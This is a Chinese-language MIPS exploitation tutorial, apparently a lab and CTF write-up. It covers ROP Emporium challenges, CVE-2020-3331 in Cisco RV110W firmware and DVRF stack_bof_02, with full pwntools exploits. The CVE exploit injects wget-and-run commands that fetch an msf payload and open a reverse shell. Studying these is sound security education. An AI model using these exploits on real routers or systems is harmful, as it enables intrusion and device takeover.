附件下载链接

环境搭建

在 ARM PWN 环境搭建 的基础上，首先安装具备MIPS交叉编译gcc与MIPS程序动态链接库：

sudo apt-get install gcc-mips-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
sudo apt-get install gcc-mips64-linux-gnuabi64
sudo apt-get install gcc-mips64el-linux-gnuabi64

然后就可以正常运行

将 mipsel 添加到 qqemu-binfmt，这样 linux 可以根据文件头找相应的程序运行：

sudo ln -s /usr/mipsel-linux-gnu/ /etc/qemu-binfmt/mipsel

ret2win

栈溢出

int pwnme()
{
    
  char buf[32]; // [sp+18h] [+18h] BYREF

  memset(buf, 0, sizeof(buf));
  puts("For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!");
  puts("What could possibly go wrong?");
  puts("You there, may I have your input please? And don't worry about null bytes, we're using read()!\n");
  printf("> ");
  read(0, buf, 0x38u);                          // bof
  return puts("Thank you!");
}

分析汇编可知，返回值存储在 $sp + 0x3C 处，而 buf 起始位置在 $sp + 0x18 处，因此偏移为 0x24 。

因此不难写出 exp：

from pwn import *

context(arch='mips', os='linux')
context.log_level = 'debug'
# p = remote()
p = process(["qemu-mipsel", "./ret2win_mipsel"])
# p = process(["qemu-mipsel", "-g", "1234", "./ret2win_mipsel"])
elf = ELF("./ret2win_mipsel")

ret2win = 0x00400A00

if __name__ == '__main__':
    payload = "a" * 0x24 + p32(ret2win)
    p.sendafter(">", payload)
    p.interactive()

运行 exp，并用 gdb 附加调试，发现返回值被成功覆盖：

与 x86 和 arm 不同的是，mips 在函数返回时会先将之前保存到栈上的返回地址重新读取到 $ra 寄存器中，然后再通过 $jr ra 语句将返回值从 $ra 寄存器赋值到 $pc 寄存器中，因此跳转到 ret2win 后会出现 $pc 寄存器和 $ra 寄存器的值相等的情况，也就是会说之后重复执行 ret2win 函数。

继续运行，成功执行 ret2win 函数获得 flag 。

split

同样是栈溢出

int pwnme()
{
    
  char buffer[32]; // [sp+18h] [+18h] BYREF

  memset(buffer, 0, sizeof(buffer));
  puts("Contriving a reason to ask user for data...");
  printf("> ");
  read(0, buffer, 0x60u);                       // bof
  return puts("Thank you!");
}

存在可利用的字符串并且 system 函数在 plt 表里。

.data:00411010 usefulString:   .ascii "/bin/cat flag.txt"<0>

现在需要一个可以从栈中读取地址到 r0 的 gadget 。使用 ROPgadget 搜索可用的 gadget ：

ROPgadget --binary "./split_mipsel" | grep -E ": lw .*a0, .*sp"

找到一个合适的 gadget ：

0x00400a20 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

最终 exp 如下：

from pwn import *

elf = ELF("./split_mipsel")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process(["qemu-mipsel", "./split_mipsel"])

p = process(["qemu-mipsel", "-g", "1234", "./split_mipsel"])
gdb.attach(target=('127.0.0.1', 1234), exe='./split_mipsel', gdbscript='b *0x400984\nc')

payload = 'a' * 36
payload += p32(elf.search(asm('lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop'), executable=True).next())
payload += 'bbbb'
payload += p32(elf.plt['system'])
payload += p32(elf.search('/bin/cat flag.txt').next())
p.sendafter(">", payload)
p.interactive()

callme

根据之前 ARM PWN 的分析，需要通过栈溢出构造 rop 分别调用 3 个 callme 函数完成对 flag 的打印和输出。

通过 ROPgadget 搜索到一个合适的 gedget 。

 ► 0x400bb0 <usefulGadgets>       lw     $a0, 0x10($sp)
   0x400bb4 <usefulGadgets+4>     lw     $a1, 0xc($sp)
   0x400bb8 <usefulGadgets+8>     lw     $a2, 8($sp)
   0x400bbc <usefulGadgets+12>    lw     $t9, 4($sp)
   0x400bc0 <usefulGadgets+16>    jalr   $t9
 
   0x400bc4 <usefulGadgets+20>    nop    
   0x400bc8 <usefulGadgets+24>    lw     $ra, 0x14($sp)
   0x400bcc <usefulGadgets+28>    jr     $ra                           <usefulGadgets>
 
   0x400bd0 <usefulGadgets+32>    addi   $sp, $sp, 0x18

这个 gadget 首先分别对 $a0，$a1，$a2 以及 $t9 寄存器赋值，然后调用 $t9 寄存器指向的函数，最后再修改 $ra 寄存器并跳转到 $ra 寄存器指向的地址并且将 $sp 增加 0x18。因此可以设置 $a0，$a1，$a2 为函数的三个参数，然后设置 $t9 寄存器为函数对应的 plt 表地址，最后设置 $ra 寄存器为 gadget 地址从而进行下一次函数调用。

exp 如下：

from pwn import *

context.log_level = 'debug'

elf = ELF("./callme_mipsel")
context(arch=elf.arch, os=elf.os)

p = process(["qemu-mipsel", "-g", "1234", "./callme_mipsel"])
gdb.attach(target=('127.0.0.1', 1234), exe='./callme_mipsel', gdbscript='b *0x400AD4\nc')


# p = process(["qemu-mipsel", "./callme_mipsel"])


def callme(addr, arg1, arg2, arg3):
    payload = ""
    payload += p32(0)
    payload += p32(addr)
    payload += p32(arg3)
    payload += p32(arg2)
    payload += p32(arg1)
    payload += p32(elf.search(asm('lw $a0, 0x10($sp); lw $a1, 0xc($sp); lw $a2, 8($sp); lw $t9, 4($sp); jalr $t9; nop;'), executable=True).next())
    return payload


payload = ""
payload += "a" * 36
payload += p32(elf.search(asm('lw $a0, 0x10($sp); lw $a1, 0xc($sp); lw $a2, 8($sp); lw $t9, 4($sp); jalr $t9; nop;'), executable=True).next())
payload += callme(elf.plt["callme_one"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_two"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
payload += callme(elf.plt["callme_three"], 0xDEADBEEF, 0xCAFEBABE, 0xD00DF00D)
p.sendafter(b">", payload)
p.interactive()

跳转的 plt 表并返回这里可能会存在一些疑惑。按常理再说，plt 应该对调用者透明，也就是说调用 plt 表应该像直接调用函数一样，但是以 callme_one 函数为例，plt 表部分的汇编代码如下（这里 plt 的起始位置有点奇怪，这是因为 ida 是按照符号表指向的位置识别的）：

.MIPS.stubs:00400D1C                 li      $t8, 0x19
.MIPS.stubs:00400D1C  # End of function _callme_three
.MIPS.stubs:00400D1C
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20  # =============== S U B R O U T I N E =======================================
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20
.MIPS.stubs:00400D20  # int callme_one()
.MIPS.stubs:00400D20 _callme_one:                             # DATA XREF: LOAD:0040056C↑o
.MIPS.stubs:00400D20                 lw      $t9, _GLOBAL_OFFSET_TABLE_
.MIPS.stubs:00400D24                 move    $t7, $ra
.MIPS.stubs:00400D28                 jalr    $t9

gadget 中跳转的方式是 jalr $t9 ，是一个正常的函数调用，返回值会保存到 $ra 中，进入到函数后如果函数还会调用其他函数首先要做的是将 $ra 寄存器保存到栈中。但是 callme_one 的 plt 表中没有将 $ra 寄存器保存到栈中，而是将 $ra 赋值给临时寄存器 $t7 并 jalr $t9 覆盖了 $ra 寄存器的值，那么调用完 callme_one 之后岂不是会返回到下一条指令然后沿着 plt 表继续往下执行？
实际上， 这里 plt 表中 _GLOBAL_OFFSET_TABLE_ 并不是 callme_one 的 got 地址，而是 got 表的起始地址。got 表的起始位置会存放一个函数的地址，如果要调用的函数在 got 表中没有修复地址，那么这个函数会修复该地址，最后会调用对应函数。在此期间会将 $ra 寄存器的值修改为调用 plt 表的下一条指令使得程序可以正常返回。

write4

根据之前 ARM PWN 的分析，需要通过写内存的 gadget 写入文件名然后调用 print_file 函数打印参数。

写内存可以用 0x00400930 处的 gadget 。

0x00400930 : lw $t9, 0xc($sp) ; lw $t0, 8($sp) ; lw $t1, 4($sp) ; sw $t1, ($t0) ; jalr $t9 ;

调用 print_file 函数可以用 0x00400948 处的gadget 。

0x00400948 : lw $a0, 8($sp) ; lw $t9, 4($sp) ; jalr $t9 ; nop

最终 exp 如下：

from pwn import *

elf = ELF("./write4_mipsel")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'

p = process(["qemu-mipsel", "-g", "1234", "./write4_mipsel"])
# p = process(["qemu-mipsel", "./write4_mipsel"])

gdb.attach(target=('127.0.0.1', 1234), exe='./write4_mipsel', gdbscript='b *0x3ffb0994\nc')

file_name_addr = 0x411000 + 0x200


def write4(addr, data):
    payload = ""
    payload += p32(elf.search(asm('lw $t9, 0xc($sp); lw $t0, 8($sp); lw $t1, 4($sp); sw $t1, ($t0); jalr $t9; addi $sp, $sp, 0x10;'), executable=True).next())
    payload += "aaaa"
    payload += data[:4].ljust(4, '\x00')  # $t1
    payload += p32(addr)  # t0
    return payload


payload = 'a' * 0x24
payload += write4(file_name_addr, "flag")
payload += write4(file_name_addr + 4, ".txt")
payload += write4(file_name_addr + 8, '\x00')
payload += p32(elf.search(asm('lw $a0, 8($sp); lw $t9, 4($sp); jalr $t9; nop;'), executable=True).next())
payload += 'aaaa'
payload += p32(elf.plt['print_file'])
payload += p32(file_name_addr)
p.sendafter(">", payload)
p.interactive()

CVE-2020-3331

环境搭建

github的 IoT-vulhub 项目提供了这个漏洞的环境。虽然项目有详细的 README 可供参考，但是还是有一些细节没有提及，并且还会出现一些玄学问题。因此如果环境没有搭好，要认真阅读报错信息寻找出错的地方，实在分析不出问题就恢复快照重新搭一遍。

构建所需镜像

漏洞环境的搭建需要依赖一些镜像，其中有些 README 默认使用者已经构建好了，因此没有说明，建议以以下的描述为准。由于镜像之间有依赖关系，因此最好按照按照顺序构建。

• ubuntu16.04
  整个项目都要依赖的镜像

  # 构建 ubuntu1604 基础镜像
  $ cd baseImage/ubuntu1604 && docker build -t firmianay/ubuntu1604 .
  

• binwalk
  作为解压固件的工具包

  # 构建 binwalk 容器，方便使用
  $ cd baseImage/binwalk && docker build -t firmianay/binwalk .
  

• qemu-system
  调试漏洞所需的镜像，因为固件是 mipsel 架构的，因此选择 mipsel 。注意要要先运行下载脚本下载内核镜像之类的文件。

  $ cd baseImage/qemu-system/mipsel/images
  $ ./download.sh
  $ cd baseImage/qemu-system/mipsel/
  $ docker build -t firmianay/qemu-system:mipsel .
  

解压固件

在 CVE-2020-3331 目录下运行如下命令：

$ docker run --rm -v $PWD/firmware/:/root/firmware firmianay/binwalk -Mer "/root/firmware/RV110W_FW_1.2.2.5.bin"

如果是使用本机的 binwalk 需要安装 sasquatch 。

git clone https://github.com/devttys0/sasquatch.git
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/47.patch
patch -p1 < 47.patch
sudo ./build.sh

另外新版的 binwalk 为了安全会将符号链接到具体设备的链接修改为链接到 /dev/null ，因此需要添加 --preserve-symlinks 参数。

正常情况下解压出的 squashfs-root 下是有文件的。
如果没有文件就重新构建 binwalk 镜像然后重新解压，重新构建前要把之前的镜像删除。

构建并启动漏洞分析镜像

依次运行如下 3 条命令：

# 初始化环境
$ ./init_env.sh mipsel
# 构建镜像
$ docker-compose -f docker-compose-system.yml build
# 启动容器
$ docker-compose -f docker-compose-system.yml up

如果正常的话最后是这样的：

首次攻击尝试

进入到构建好的镜像中运行 exp 脚本，可以成功获取 shell 。

调试

由于镜像的中的 python 版本有问题导致 gef 插件跑不起来，因此这里采用本机调试。

在构建并启动漏洞分析镜像后，进入镜像的 shell 然后关闭并手动重启固件主机，从而进入固件主机的 shell

$ docker exec -it cisco-system /bin/bash

root@7463bb44fe27:$ cd images
root@7463bb44fe27:$ ps -ef | grep qemu-system  | awk '{print $2}' | xargs kill -9
root@7463bb44fe27:$ qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

进入固件主机后运行 run_httpd.sh 启动脚本然后运行 gdbserver 附加到固件对应进程并监听 6666 端口。

root@debian-mipsel:$ cd squashfs-root/
root@debian-mipsel:$ ./tools/run_httpd.sh
root@debian-mipsel:$ ps -ef | grep httpd | grep -v 'grep' | awk '{print $2}' | xargs ./tools/gdbserver :6666 --attach
Attached; pid = 2328
Listening on port 6666

再开一个控制台窗口进入 docker 镜像然后开启固件主机 6666 端口到docker进行 6666 端口的端口转发。

$ docker exec -it cisco-system /bin/bash
$ ssh [email protected] -f -N -g -R 0.0.0.0:6666:192.168.2.2:6666

由于 docker-compose 配置了本机 6666 端口到镜像 6666 端口的端口映射，因此可以用 gdb 连本地的 6666 端口调试固件主机中的固件。

ports:
    - "8888:80"
    - "6666:6666"

注意，开启端口转发时中间有个询问是否继续连接的步骤，这里回车默认不是 yes，一定要手动把 yes 输进去。否则会有个报错然后就被网上的关于这个报错解决方法带偏了

之后 gdb attach 上本地的 6666 端口就可以进行调试了，这里 gdb 插件不建议用 pwndbg（pwndbg 比较卡，另外如果使用 pwndbg 需要设置 set follow-fork-mode parent 防止跟踪到子进程）。

在关键位置下好断点，然后再开一个窗口进入 docker 的 shell 运行 exp，成功在关键位置断下来：

不依赖 docker 的调试方法

上面的方法本质是在 docker 中运行与调试 qemu 的中的固件，这种方法非常不方便，这里参考之前在 docker 中调试程序的方法实现在 qemu 中自动化调试分析固件。

由于 qemu 不像 docker 这样有专门的执行命令的接口，因此这里利用 pwntools 实现相关功能。

我们事先做一些初始化操作，比如拷贝文件系统和相关工具到 qemu 虚拟机中，并在主机创建虚拟网卡方便与 qemu 进行通信。这里对磁盘镜像的修改会被保存，因此下一次启动 qemu 虚拟机时就不必再次传送文件。

if ! ip link show tap0 &>/dev/null; then
    tunctl -t tap0 -u $(whoami)
fi
ifconfig tap0 192.168.2.1/24

sshpass -p root scp ./squashfs-root.tar.gz [email protected]:~

tar zxf squashfs-root.tar.gz && rm squashfs-root.tar.gz # 注意这条命令是在 qemu 虚拟机中执行的

sshpass -p root scp -r ./tools [email protected]:~/squashfs-root/tools

#!/usr/bin/python2
# coding=utf-8

from pwn import *

context.log_level = 'debug'

qemu = process(['qemu-system-mipsel',
                '-M', 'malta',  # 主板，看内核镜像后缀。
                '-kernel', 'vmlinux-3.2.0-4-4kc-malta', # 内核镜像
                '-hda', 'debian_wheezy_mipsel_standard.qcow2', # 虚拟硬盘镜像
                '-append', 'root=/dev/sda1 console=tty0', # 内核启动参数
                '-net', 'nic', # 添加一个网络接口卡（NIC）到模拟器中，以实现网络功能。
                '-net', 'tap,ifname=tap0,script=no,downscript=no', # 添加一个 TAP 设备，并将其与模拟器中的网络接口卡关联起来，用于与主机的网络进行通信。
                '-nographic' # 禁用图形界面输出，只使用命令行界面进行连接和操作。
                ])

# 登录
qemu.sendlineafter("debian-mipsel login:", "root")
qemu.sendlineafter("Password:", "root")

# 设置 ip
qemu.sendlineafter("root@debian-mipsel:~# ", "ifconfig eth0 192.168.2.2/24")

# 关闭 ASLR
qemu.sendlineafter("root@debian-mipsel:~# ", "echo 0 > /proc/sys/kernel/randomize_va_space")

# 挂载设备
qemu.sendlineafter("# ", "mount -o bind /dev ./squashfs-root/dev && mount -t proc /proc ./squashfs-root/proc")

# 设置根目录
qemu.sendlineafter("# ", "chroot squashfs-root/ sh")

# nvram 配置文件
qemu.sendlineafter("# ", "cp ./tools/nvram.ini ./")

# 启动 httpd
qemu.sendlineafter("# ", "LD_PRELOAD='./tools/libnvram-faker.so' /usr/sbin/httpd")

# 阻塞等待 http 请求
pause()

# gdbserver 附加程序
qemu.sendlineafter("#", "ps | grep httpd | grep -v 'grep' | awk '{print $1}' | xargs ./tools/gdbserver :9999 --attach")

qemu.interactive()

这样我们在 exp 脚本中就可以通过下面这种方式来远程调试。

gdb.attach(target=('192.168.2.2', 9999), exe=elf.path, gdbscript='set follow-fork-mode parent\nb *0x0431B60\nc')
pause()

漏洞分析

漏洞位于 guest_logout_cgi 函数。sscanf 可以造成栈溢出。

guest_logout_cgi 函数与漏洞触发有关的关键代码如下：

int __fastcall guest_logout_cgi(int a1)
{
    
	...
	v5 = (const char *)get_cgi((int)"cmac");
	...
	v10 = (const char *)get_cgi((int)"cip");
	v11 = (const char *)get_cgi((int)"submit_button");
	if ( !v11 )
	  v11 = "";
	if ( v5 && v10 )
	{
    
		...
		if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) ) // cmac 字段必须是合法的 MAC 地址，并且 cip 字段必须是合法的 IP 地址。
		{
    
			v17 = strstr(v11, "status_guestnet.asp");
			if ( !v17 )	// submit_button 字段必须包含 "status_guestnet.asp"
				goto LABEL_31;
			sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35); // v36 溢出
			...
			v24 = (const char *)nvram_get("session_key", v21, v22); // 没有 session_key 字段会进入下面的判断中。
			if ( !v24 || (v25 = 1, strcmp(v24, v35)) )
			{
    
LABEL_31:
				v26 = (const char *)nvram_get("http_client_mac", v18, v19); // 没有 http_client_mac 和 http_client_ip 字段，不会进入下面的判断中。
				if ( v26 && strcmp(v26, v5) || (v31 = (const char *)nvram_get("http_client_ip", v27, v28)) != 0 && strcmp(v31, v10) )
				{
    
					...
					goto LABEL_35;
				}
				...
			}
			...
LABEL_35:
			if ( strcmp(v11, "login_guest.asp") ) // v11 与 login_guest.asp 不相同，因此会退出，由于此时返回值被覆盖成 system 函数地址且 $a0 为 v11 即 submit_button 字段从第一个 status_guestnet.asp 开始的字符串，因此会执行 submit_button 中包含的命令。
				return 0;
		}
		...
	}
	return 0;
}

sscanf 中的格式化字符串为 %[^;];%*[^=]=%[^\n] ，其中 %[^;] 含义为匹配不包含 ; 的字符串，%*[^=] 表示匹配不带 = 且匹配到的只出场不传给参数，%[^\n] 表示匹配不带 \n 的字符串。最终匹配到的字符串按顺序传给给定的参数。因此只需要构造一个以 status_guestnet.asp 开头，后面包含没有 ; 的要执行的命令以及填充字节最后加一个 system 函数地址就可以执行命令了。
通过 IDA 分析汇编可知溢出长度为 0x68

至于执行的命令，可以是从 wget 获取本地的 msf 工具然后运行改工具反弹 shell 。
完整 exp 如下：

#!/usr/bin/python3

from pwn import *
import requests
from threading import Thread

context(arch='mips', endian='little', os='linux')

system = 0x0047A610

cmd  = '\n'
cmd += 'wget http://192.168.2.1:8000/tools/msf -O /msf\n'
cmd += 'chmod 777 /msf\n'
cmd += '/msf\n'

assert(len(cmd) < 0x55)

payload = b"status_guestnet.asp" + cmd.ljust(0x55,'a').encode() + p32(system) 
data = {
    "cmac":"12:af:aa:bb:cc:dd", "submit_button":payload, "cip":"192.168.100.1"}

def attack():
    try:
        requests.post("http://192.168.2.2/guest_logout.cgi", data=data, timeout=1)
    except Exception as e:
        print(e)

thread = Thread(target=attack)
thread.start()

io = listen(31337)
io.wait_for_connection()
log.success("getshell")
io.interactive()

thread.join()

运行 exp，可以看到函数返回地址被覆盖了 system 函数地址

继续运行到函数返回，此时 $a0 寄存器指向 v11 字符串，可以执行其中的命令。

DVRF stack_bof_02

题目源码如下：

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

//Simple BoF by b1ack0wl for E1550
//Shellcode is Required


int main(int argc, char **argv[]){
    
char buf[500] ="\0";

if (argc < 2){
    
printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
} 


printf("Welcome to the Second BoF exercise! You'll need Shellcode for this! ;)\r\n\r\n"); 
strcpy(buf, argv[1]);

printf("You entered %s \r\n", buf);
printf("Try Again\r\n");

return 0;
}

// mipsel-linux-gnu-gcc -fno-stack-protector stack_bof_02.c -o stack_bof_02

显然 main 函数中 strcpy 存在栈溢出。由于没有后门函数并且没有开 NX 保护，因此可以考虑 ret2shellcode 的做法。
这里要注意由于 mips 是流水指令集，存在 cache incoherency 的特性，需要在跳转到 shellcode 前调用 sleep 或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode 。

在查找 gadget 的时候发现，stack_bof_02 文件可用的 gadget 很少，由于 qemu 中每次运行 libc 加载的基址相同，因此可以考虑使用 libc 中的 gadget 。在我的环境中需要分析的是 libc-2.30.so 。

$ ls -al /usr/mipsel-linux-gnu/lib | grep "libc.so"
-rw-r--r-- 1 root root     301 9月  24  2019 libc.so
lrwxrwxrwx 1 root root      12 9月  24  2019 libc.so.6 -> libc-2.30.so

libc 基址可以通过 got 表中的函数地址与该函数在 libc 中的偏移算出来。

又因为 ROPgadget 找不到合适的 gadget ，因此这里使用 IDA 插件 MIPS ROP Finder 搜索 gadget 。
插件在附件中提供。我使用的 IDA 版本是 7.7 ，安装方式是将压缩包解压，然后将里面的文件放到 plugins 文件夹下，注意我放的是解压出的 shims 和 mipsrop.py 这两个项。之后重启 IDA 然后点击 Search -> mips rop gadgets 等待插件初始化完成就可以正常使用了。
由于要调用 sleep 函数，因此首先要设置参数寄存器 $a0 的值：

Python>mipsrop.find("li $a0, 1")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000B9350  |  li $a0,1                                            |  jalr  $s2                             |
|  0x000E2660  |  li $a0,1                                            |  jalr  $s2                             |
|  0x00109918  |  li $a0,1                                            |  jalr  $s1                             |
|  0x0010E604  |  li $a0,1                                            |  jalr  $s2                             |
|  0x0012D650  |  li $a0,1                                            |  jalr  $s0                             |
|  0x0012D658  |  li $a0,1                                            |  jalr  $s2                             |
|  0x00034C5C  |  li $a0,1                                            |  jr    0x18+var_s4($sp)                |
|  0x00080100  |  li $a0,1                                            |  jr    0x18+var_s4($sp)                |
|  0x00088E80  |  li $a0,1                                            |  jr    0x1C+var_s0($sp)                |
|  0x00091134  |  li $a0,1                                            |  jr    0x70+var_s24($sp)               |
|  0x00091BB0  |  li $a0,1                                            |  jr    0x70+var_s24($sp)               |
|  0x000D5460  |  li $a0,1                                            |  jr    0x1C+var_s10($sp)               |
|  0x000F2A80  |  li $a0,1                                            |  jr    0x1C+var_s0($sp)                |
|  0x001251C0  |  li $a0,1                                            |  jr    0x18+var_s14($sp)               |
----------------------------------------------------------------------------------------------------------------
Found 14 matching gadgets

这里选择 0x000E2660 地址处的 gadget ：

.text:000E2660 25 C8 40 02                   move    $t9, $s2
.text:000E2664 09 F8 20 03                   jalr    $t9 ; sigprocmask
.text:000E2668 01 00 04 24                   li      $a0, 1

由于这个 gadget 的跳转需要 $s2 控制，因此需要一个设置 $s2 的 gadget ，这里找的是 0x00E2660 处的 gadget 。这条 gadget 不可可以控制 $s2 的值，还能控制其他的 $s 寄存器的值，也就是说后面的 gadget 的 $s 寄存器的值都可以控制。

.text:000B2EE8 34 00 BF 8F                   lw      $ra, 0x34($sp)
.text:000B2EE8
.text:000B2EEC
.text:000B2EEC                               loc_B2EEC:                               # CODE XREF: readdir64+194↓j
.text:000B2EEC 25 10 00 02                   move    $v0, $s0
.text:000B2EF0 30 00 B6 8F                   lw      $s6, 0x18+var_s18($sp)
.text:000B2EF4 2C 00 B5 8F                   lw      $s5, 0x18+var_s14($sp)
.text:000B2EF8 28 00 B4 8F                   lw      $s4, 0x18+var_s10($sp)
.text:000B2EFC 24 00 B3 8F                   lw      $s3, 0x18+var_sC($sp)
.text:000B2F00 20 00 B2 8F                   lw      $s2, 0x18+var_s8($sp)
.text:000B2F04 1C 00 B1 8F                   lw      $s1, 0x18+var_s4($sp)
.text:000B2F08 18 00 B0 8F                   lw      $s0, 0x18+var_s0($sp)
.text:000B2F0C 08 00 E0 03                   jr      $ra
.text:000B2F10 38 00 BD 27                   addiu   $sp, 0x38

因为如果在执行完 0x000E2660 处的 gadget 后直接跳转到 sleep 函数那么会返回到这个 gadget 跳转地址后的指令继续执行这样就无法控制之后的程序执行流程。为了防止这种情况发生，我们需要在这条 gadget 和 sleep 函数之间加一条 jlar $ra 之后还能控制跳转的指令。考虑到前面已经把 $s 寄存器控制了，因此可以查找 mov $t9, $s3 指令。这里选择 0x000949EC 地址处的gadget 。

.text:000949EC 25 C8 60 02                   move    $t9, $s3
.text:000949F0 09 F8 20 03                   jalr    $t9 ; uselocale
.text:000949F4 25 80 40 00                   move    $s0, $v0
.text:000949F4
.text:000949F8
.text:000949F8                               loc_949F8:                               # CODE XREF: strerror_l+15C↓j
.text:000949F8 34 00 BF 8F                   lw      $ra, 0x24+var_s10($sp)
.text:000949FC 25 10 00 02                   move    $v0, $s0
.text:00094A00 30 00 B3 8F                   lw      $s3, 0x24+var_sC($sp)
.text:00094A04 2C 00 B2 8F                   lw      $s2, 0x24+var_s8($sp)
.text:00094A08 28 00 B1 8F                   lw      $s1, 0x24+var_s4($sp)
.text:00094A0C 24 00 B0 8F                   lw      $s0, 0x24+var_s0($sp)
.text:00094A10 08 00 E0 03                   jr      $ra
.text:00094A14 38 00 BD 27                   addiu   $sp, 0x38

之后的操作就是如何跳转到 shellcode上执行。虽然在 qemu 中栈地址不变，但这里提供一个泄露栈地址的方法。
mipsrop.stackfinder() 可以搜索到泄露栈地址的 gadget，这里选择 0x00095B74 地址处的 gadget ：

.text:00095B74 34 00 A5 27                   addiu   $a1, $sp, 0x34  # '4'
.text:00095B78 18 00 A0 AF                   sw      $zero, 0x5C+var_44($sp)
.text:00095B7C 14 00 A2 AF                   sw      $v0, 0x5C+var_48($sp)
.text:00095B80 25 38 40 02                   move    $a3, $s2
.text:00095B84 25 C8 A0 02                   move    $t9, $s5
.text:00095B88 09 F8 20 03                   jalr    $t9

由于栈地址已经泄露到 $a1 寄存器中，因此可以搜索 mov $t9, $a1 查找可以用 $a1 寄存器控制跳转地址的 gadget ，这里选择的是 0x0012568C 处的地址。

.text:0012568C 25 C8 A0 00                   move    $t9, $a1
.text:00125690 25 38 40 00                   move    $a3, $v0
.text:00125694 25 28 80 00                   move    $a1, $a0
.text:00125698 09 F8 20 03                   jalr    $t9

最终可构造出的 rop 如下：

事实上 MIPS 的 ROP 的构造比 x86 要简单，因为对应 call 指令的 jalr 指令不会改变栈且可以根据寄存器的值进行跳转。但这也意味着 ROP 的构造更加灵活。

exp 如下：

from pwn import *

context(arch='mips', os='linux')
# context.log_level = 'debug'
libc_base = 0x7F619000

if __name__ == '__main__':
    payload = "a" * 508
    payload += p32(libc_base + 0x000B2EE8)
    payload += "a" * 0x20
    payload += p32(libc_base + 0x000949EC)
    payload += p32(libc_base + 0x000B8FC0)
    payload += "aaaa"
    payload += p32(libc_base + 0x0012568C)
    payload += "aaaa"
    payload += p32(libc_base + 0x000E2660)
    payload += "a" * 0x34
    payload += p32(libc_base + 0x00095B74)
    payload += "a" * 0x34
    payload += asm(shellcraft.sh())
    # p = process(['qemu-mipsel-static',  '-g', '1234','./stack_bof_02', payload])
    p = process(['qemu-mipsel-static', './stack_bof_02', payload])
    p.interactive()